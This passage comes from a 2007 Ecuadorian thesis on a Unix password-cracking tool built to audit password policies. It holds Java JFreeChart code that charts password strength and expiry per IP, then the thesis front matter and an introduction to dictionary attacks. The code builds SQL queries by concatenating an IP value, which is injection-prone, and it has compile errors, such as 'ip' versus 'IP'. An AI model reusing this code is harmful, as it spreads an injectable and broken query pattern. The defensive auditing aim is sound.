{ bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } final DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % VIGENTES",y_bajo); result.setValue(String.valueOf(y_medio)+" % EXPIRADOS", y_medio); return result; } private JFreeChart createChart(final PieDataset dataset) { final JFreeChart chart = ChartFactory.createPieChart3D( "Estadistica de vigencia de los passwords todas las ip's", // chart title dataset, // data true, // include legend true, false ); final PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; } public static void main(final String[] args) { final crea_3d_vig_ip_todos demo = new crea_3d_vig_ip_todos(); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float y_bajo=0; static float y_medio=0; }
314
Bar_3d_ip.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions; import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset; import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_ip extends ApplicationFrame { public bar_3d_ip(String ip_final) { super("ESTADISTICAS DE SEGURIDAD DE PASSWRODS POR IP"); IP = ip_final; CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1);
315
ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % BAJOS","bajos"); result.setValue(y_medio, String.valueOf(y_medio)+" % MEDIOS","medios"); result.setValue(y_alto, String.valueOf(y_alto)+" % ALTOS","altos"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de estadisticas de seguridad por IP", // chart title "IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white);
316
final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; } public static void main(String[] args) { bar_3d_ip demo = new bar_3d_ip(ip); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float alto =0; static float y_bajo=0; static float y_medio=0; static float y_alto=0; static String IP = ""; }
Bar_3d_ip_todos.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions;
317
import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset; import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_ip_todos extends ApplicationFrame { public bar_3d_ip_todos() { super("ESTADISTICAS DE SEGURIDAD DE PASSWORDS TODA LA RED"); CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' "; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' "; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma);
318
connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % BAJOS","bajos"); result.setValue(y_medio, String.valueOf(y_medio)+" % MEDIOS","medios"); result.setValue(y_alto, String.valueOf(y_alto)+" % ALTOS","altos"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de estadisticas de seguridad todas las IP's de la red", // chart title "IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0));
319
return chart; } public static void main(String[] args) { bar_3d_ip_todos demo = new bar_3d_ip_todos(); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float alto =0; static float y_bajo=0; static float y_medio=0; static float y_alto=0; }
Bar_3d_vig_ip.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions; import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset; import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_vig_ip extends ApplicationFrame { public bar_3d_vig_ip(String ip_final) { super("ESTADISTICAS DE VIGENCIA DE PASSWORDS POR IP"); IP = ip_final; CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); }
320
private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente' and direccion = '"+ip+"'"; String SQL_2 = "select count(estado) from reporte where estado = 'expirado' and direccion = '"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % vigentes","vigentes"); result.setValue(y_medio, String.valueOf(y_medio)+" % expirados","expirados"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de vigencia de los passwords por IP", // chart title "IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white);
321
plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; } static float bajo =0; static float medio =0; static String IP = ""; static float y_bajo=0; static float y_medio=0; }
Bar_3d_vig_ip_todos.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions; import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset;
322
import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_vig_ip_todos extends ApplicationFrame { public bar_3d_vig_ip_todos() { super("Estadisticas de vigencia de passwords toda la red"); CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente' "; String SQL_2 = "select count(estado) from reporte where estado = 'expirado' "; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % vigentes","vigentes"); result.setValue(y_medio, String.valueOf(y_medio)+" % expirados","expirados"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de vigencia de los passwords todas las IP's", // chart title
323
"IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; } public static void main(String[] args) { bar_3d_vig_ip_todos demo = new bar_3d_vig_ip_todos(); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float y_bajo=0; static float y_medio=0; }
UNIVERSIDAD DE GUAYAQUIL
Facultad de Ciencias Matemáticas y Física
Carrera de Ingeniería en Sistemas
Computacionales
“Cracker de Passwords Unix”
PROYECTO DE GRADO
Previo a la Obtención del Titulo de:
INGENIERO EN SISTEMAS COMPUTACIONALES
Autor(es):
Alicia Victoria Aldaz Borja
José Luís Hidalgo Torres
Karina Gisela Valenzuela Burbano
GUAYAQUIL – ECUADOR
Año: 2007
II
AGRADECIMIENTO
Agradecemos a todas las personas que han
contribuido de alguna manera a la realización
de nuestro proyecto y a nuestros padres por
estar siempre guiándonos en nuestra vida
estudiantil.
III
DEDICATORIA
Dedicamos este trabajo a Dios por estar
siempre a nuestro lado en todo momento y a
nuestros padres porque siempre han creído en
nosotros y nos brindaron en todo este tiempo su
apoyo y amor.
IV
TRIBUNAL DE GRADUACIÓN
Presidente del Tribunal Primer Vocal Segundo Vocal Secretario
V
DECLARACIÓN EXPRESA
“La autoría de la tesis de grado corresponde exclusivamente al suscrito(s),
perteneciendo a la Universidad de Guayaquil los derechos que generen la
aplicación de la misma”.
(Reglamento de Graduación de la Carrera de Ingeniería en sistemas
Computacionales, Art. 26)
VI
RESUMEN
El Cracker de Passwords Unix fue desarrollado para adoptar medidas de
seguridad ya que ellas pueden ser violentadas por varios factores ya sean
internos o externos a la empresa. Esta aplicación fue diseñada usando la
arquitectura de tres capas. Unos de los principales problemas son los
ataques mal intencionados de personas internas o externas a la empresa, se
debe tener cuidado en quienes y de que modo accedan al sistema.
Se cuenta con una herramienta apropiada fácil de usar, intuitiva que permite
evaluar las políticas de password implantadas en las computadoras de una
empresa.
El sistema da una solución óptima y efectiva de la problemática planteada,
con el objetivo incluso de evaluar que tan seguro es el sistema ante un
ataque de un hacker.
VII
ÍNDICE GENERAL
AGRADECIMIENTO II
DEDICATORIA III
TRIBUNAL DE GRADUACIÓN IV
DECLARACIÓN EXPRESA V
RESUMEN VI
ÍNDICE GENERAL VII
GLOSARIO DE TÉRMINOS 138
ANEXOS 143
CAPITULO 1 1
Introducción 1
¿Para qué tomar Seguridades? 1
Cracker de Passwords 3
¿Qué son ataques de contraseñas? 4
Problemática 4
Solución 5
Visión 7
Misión 7
VIII
Objetivos Generales 9
Objetivos Específicos 10
Alcances 11
Arquitectura de Sistema 13
Modelo de Desarrollo 14
Metodología 15
Recursos Tecnológicos 15
Recurso Humano 16
Gestión de Riesgo 17
Definiciones de Riesgos 18
Impacto y Probabilidad de los Riesgos 21
Plan de Contingencia 28
Tabla de Riesgos 36
Mecanismo de seguimiento y control 37
Cronograma 38
Análisis Económico 42
Análisis Legal 43
Análisis FODA 45
CAPITULO 2 49
ANÁLISIS 49
2.1.- Levantamiento de la información 49
IX
2.1.1.- Por que realizar este proyecto 49
2.1.2.- Quienes son los atacantes 52
2.1.3.- Categorías de los atacantes 54
2.2.- Análisis de requerimientos 55
2.3.- Diccionario de datos. 56
Diagrama de Entidad de Relación 73
Diagrama de Transición de Datos 74
Diagrama de Especificación de Proceso 79
CAPITULO 3 93
DISEÑO 93
3.1.- Diseño de la interfaz 93
Ventana clave de ingreso 94
Ventana inicial 95
Ventana scan ip 96
3.2.- Diseño a Nivel de Componentes 108
CAPÍTULO 4 109
DESARROLLO Y PRUEBAS DEL SISTEMA. 109
4.1.- Desarrollo del sistema 109
4.2.- Creación de los componentes 110
4.3.- Seguridades 111
X
4.3.1.- Sistema operativo. 112
4.3.2.- Base de Datos 112
4.3.3.- Registros de logs 113
4.3.4.- Humano 114
4.4.- Pruebas del sistema 114
4.4.1.- Verificación y validación 115
4.4.2.- Pruebas de Unidad 115
4.4.3.- Pruebas de Integración 118
4.4.4.- Pruebas Alfa y Beta 118
4.4.5.- Pruebas de Seguridad 119
4.5.- Calidad del Sistema 120
CAPÍTULO 5 122
IMPLEMENTACIÓN DEL SISTEMA 122
5.1.- Tecnología 122
5.1.- Elementos Físicos 124
5.2.- Elementos lógicos 126
5.3.- Recurso Humano 128
5.4.- Infraestructura 129
5.5.- Capacitación a los usuarios. 129
CAPÍTULO 6 130
XI
RECOMENDACIONES Y CONCLUSIONES DEL PROYECTO. 130
6.1.- Recomendaciones 130
6.1.1.- Hardware 131
6.1.2.- Software 132
6.1.3.- Red 134
6.1.4.- Puesta en marcha 135
6.1.5.- Seguridades 135
6.1.6.- Conclusiones 136
GLOSARIO DE TÉRMINOS 138
ANEXOS 143
Entrevista 143
Análisis de la Entrevista 145
Cronograma de Actividades 146
Gráficos Estadísticos en Pastel 147
Gráficos Estadísticos en Barra 148
BIBLIOGRAFÍA 149
Libros consultados: 149
Paginas web consultadas: 149
XII
ABREVIATURA
DER.- Diagrama de Entidad de Relación.
DES.- Diagrama de Especificación de Sistema.
DFD.- Diagrama de Flujo de Datos.
DTD.- Diagrama de Transición de Datos.
DFI.- Diagrama de Flujo de Información.
DOS.- Denied Of Service.
FSF.- Free Software Foundation.
FTP.- File Transfer Protocol.
GPL.- General Public License.
GUI.- Graphic User Interfaces.
HD.- Hard Disk.
IP.- Internet Protocol.
ICMP.- Internet Control Message Protocol.
JRE.- Java Runtime Environment.
LAN.- Local Area Network.
RAM.- Random Access Memory.
SAP.- Sistema de Auditoria de Password.
SQL.- Structural Query Language.
TCP.- Transport Control Protocol.
UDP.- User Datagrama Protocol
XIII
ÍNDICE DE GRÁFICOS
GRAFICO -1- ................................................................................................ 15
Modelo de Prototipos ................................................................................. 15
GRAFICO -2- ................................................................................................ 57
Diagrama de especificación del Sistema (DES) ....................................... 57
GRAFICO -3A- ............................................................................................. 58
Diagrama Flujo de Información (DFI) ........................................................ 58
GRAFICO -3B- ............................................................................................. 59
Diagrama Flujo de Información (DFI) ........................................................ 59
GRAFICO -4A- ............................................................................................. 60
Diagrama de Flujo de Datos (DFD) ............................................................ 60
GRAFICO -4B- ............................................................................................. 61
Diagrama de Flujo de Datos (DFD) ............................................................ 61
GRAFICO -4C- ............................................................................................. 62
Diagrama de Flujo de Datos (DFD) ............................................................ 62
GRAFICO -4D- ............................................................................................. 63
Diagrama de Flujo de Datos (DFD) ............................................................ 63
GRAFICO -4E- .............................................................................................. 64
Diagrama de Flujo de Datos (DFD) ............................................................ 64
GRAFICO -4F- .............................................................................................. 65
Diagrama de Flujo de Datos (DFD) ............................................................ 65
XIV
GRAFICO -4G- ............................................................................................. 66
Diagrama de Flujo de Datos (DFD) ............................................................ 66
GRAFICO -4H- ............................................................................................. 67
Diagrama de Flujo de Datos (DFD) ............................................................ 67
GRAFICO -4I- ............................................................................................... 68
Diagrama de Flujo de Datos (DFD) ............................................................ 68
GRAFICO -4J- .............................................................................................. 69
Diagrama de Flujo de Datos (DFD) ............................................................ 69
GRAFICO -4K- ............................................................................................. 70
Diagrama de Flujo de Datos (DFD) ............................................................ 70
GRAFICO -4L- .............................................................................................. 71
Diagrama de Flujo de Datos (DFD) ............................................................ 71
GRAFICO -4M- ............................................................................................. 72
Diagrama de Flujo de Datos (DFD) ............................................................ 72
GRAFICO -5- ................................................................................................ 73
Diagrama de Entidad de relación (DER) ................................................... 73
GRAFICO -6A- ............................................................................................. 79
Diagrama de Especificación de Procesos ................................................ 79
GRAFICO -6B- ............................................................................................. 80
Diagrama de Especificación de Procesos ................................................ 80
GRAFICO -6C- ............................................................................................. 81
XV
Diagrama de Especificación de Procesos ................................................ 81
GRAFICO -6D- ............................................................................................. 82
Diagrama de Especificación de Procesos ................................................ 82
GRAFICO -6E- .............................................................................................. 83
Diagrama de Especificación de Procesos ................................................ 83
GRAFICO -6F- .............................................................................................. 84
Diagrama de Especificación de Procesos ................................................ 84
GRAFICO -6G- ............................................................................................. 85
Diagrama de Especificación de Procesos ................................................ 85
GRAFICO -6H- ............................................................................................. 86
Diagrama de Especificación de Procesos ................................................ 86
GRAFICO -6I- ............................................................................................... 87
Diagrama de Especificación de Procesos ................................................ 87
GRAFICO -6J- .............................................................................................. 88
Diagrama de Especificación de Procesos ................................................ 88
GRAFICO -6K- ............................................................................................. 89
Diagrama de Especificación de Procesos ................................................ 89
GRAFICO -6L- .............................................................................................. 90
Diagrama de Especificación de Procesos ................................................ 90
GRAFICO -6M- ............................................................................................. 91
Diagrama de Especificación de Procesos ................................................ 91
XVI
GRAFICO -6N- ............................................................................................. 92
Diagrama de Especificación de Procesos ................................................ 92
GRAFICO -7- ................................................................................................ 94
Ventana de Ingreso ..................................................................................... 94
GRAFICO -8- ................................................................................................ 95
Ventana de Inicio ........................................................................................ 95
GRAFICO -8A- ............................................................................................. 96
Ventana de Scan Ip ..................................................................................... 96
GRAFICO -8B- ............................................................................................. 97
Ventana de Scan Ip ..................................................................................... 97
GRAFICO -9- ................................................................................................ 98
Ventana de Ataque ...................................................................................... 98
GRAFICO -10- .............................................................................................. 99
Ventana de Análisis de Password ............................................................. 99
GRAFICO -11A- ......................................................................................... 100
Diseño Arquitectónico .............................................................................. 100
GRAFICO -11B- ......................................................................................... 101
Diseño Arquitectónico .............................................................................. 101
GRAFICO -11C- ......................................................................................... 102
Diseño Arquitectónico .............................................................................. 102
GRAFICO -11D- ......................................................................................... 103
XVII
Diseño Arquitectónico .............................................................................. 103
GRAFICO -11E- .......................................................................................... 104
Diseño Arquitectónico .............................................................................. 104
GRAFICO -11F- .......................................................................................... 105
Diseño Arquitectónico .............................................................................. 105
GRAFICO -11G- ......................................................................................... 106
Diseño Arquitectónico .............................................................................. 106
GRAFICO -11H- ......................................................................................... 107
Diseño Arquitectónico .............................................................................. 107
GRAFICO -12- ............................................................................................ 108
Diseño a Nivel de Componentes ............................................................. 108
XVIII
ÍNDICE DE TABLAS
TABLA -1- .................................................................................................... 36
Tabla de Riesgo .......................................................................................... 36
TABLA -2- .................................................................................................... 41
Cronograma................................................................................................. 41
TABLA -3- .................................................................................................... 42
Análisis Económico .................................................................................... 42
TABLA -4- .................................................................................................. 124
Costos de Implementación ...................................................................... 124
CAPITULO 1
Introducción
¿Para qué tomar
Seguridades?
Lamentablemente, la mayoría de sistemas
operativos al momento de la instalación
activan servicios que muchas veces nunca
los necesitaremos en el futuro y por lo
tanto, abran mas puertas de bienvenida a
intrusos ajenos a la red. Si un
administrador de sistemas tiene poca
2
experiencia en el sistema operativo que esta tratando de poner a punto,
puede poner en riesgo no solo ese servidor sino toda su red. Es por eso, que
es necesario adoptar medida de seguridad de igual manera que las
adoptaríamos para protegernos en nuestro hogar, en nuestros trabajos o en
lugares que no conocemos. La pregunta que surge es, ¿Protegernos de
quien? ¿Cómo? y ¿Cuándo?
En la actualidad sabemos perfectamente que nuestras seguridades pueden
ser violentadas por varios factores, sean estos internos y externos a la
empresa. Uno de los principales problemas que se pueden presentar en
cuanto a violaciones de seguridad son los ataques mal intencionados de
personas internas o externas a la empresa, conocidos como “Hackers “.
Una de las medidas a tomar para el control de autenticación en las
maquinas, es el uso de claves para tener permiso de trabajar sobre
aplicaciones o poder ver cierta información de carácter clasificado, o que solo
se puede ver hasta cierto nivel de usuario.
Las claves de acceso común en contra de accesos no autorizados a un
sistema, prácticamente hoy en día son la única barrera; es por eso que hay
que poner especial atención en el tema de elección de las claves de acceso.
Un caso de ejemplo es el siguiente:
3
Muchas personas dirían que es imposible que un usuario ponga de clave de
acceso su mismo nombre, pero esto no es así, ya que por costumbre o
facilidad los usuarios colocan nombres de personas, animales, fecha de
nacimiento, en fin, cosas que para ellos son fáciles de recordar. Y desechar
esta costumbre se vuelve difícil en muchos casos para los usuarios, porque
ya están enseñados a trabajar de esta forma.
Entre los problemas tenemos que cuando un intruso entra en un sistema, lo
considera propiedad de el, siempre el intruso va a tratar de conseguir
mayores privilegios dentro del sistema hasta lograr los privilegios del
administrador de sistemas. El otro objetivo del intruso es mantenerse en el
sistemas el mayor tiempo posible y para realizar esto, el intruso se vale de
varias herramientas unas de las usadas y principales es el Cracker de
Passwords, traducido al castellano seria reventador de claves de acceso.
Cracker de Passwords
El cracker de passwords o reventador de claves de acceso es una
herramienta muy usada por los intrusos y a la vez muy útil. Una vez que el
intruso ha logrado conseguir el archivo de claves, el intruso pone a funcionar
el cracker con ese archivo. Este cracker, es un programa que se dedica a
comparar las claves en contra de un diccionario.
4
¿Qué son ataques de contraseñas?
Son las diversas técnicas que incluyen cualquier acción dirigida a romper,
descifrar o borrar contraseñas o cualquier mecanismo de seguridad de las
mismas.
En cuanto a seguridad el ataque a contraseña son los primeros porque pone
en peligro a todo el sistema.
Lo que pretendemos con la realización de este proyecto es, principalmente,
evaluar los niveles de seguridad con que cuenten las maquinas de una
empresa, al realizar un ataque intencionado a todas las claves que manejen
los usuarios, a ver que tan fácil o difícil se le haría a un hacker acceder al
sistema, alterar o robarse claves, además de poder evaluar el nivel de
robustez de las mismas.
Problemática
Hoy en día contar con una buena metodología se seguridad es necesario en
toda empresa, más aun se debe tener especial cuidado en quienes y de que
modo son los que accedan al sistema, quienes controlan las maquinas cuyos
procesos son críticos en la empresa.
5
El uso de password seguros no es una política muy común en las empresas
Ecuatorianas, especialmente en las medianas que esta en crecimiento, tal
vez por no contar con los recursos o el asesoramiento adecuado.
En muchos de los casos, no existe una verdadera política de control y uso de
Password robustos, no solo basta con creer que configurando bien un
Firewall o un antivirus, ya se lo tiene todo, en cualquier momento, uno puede
ser atacado ya sea interna o externamente. Si no se cuenta con claves de
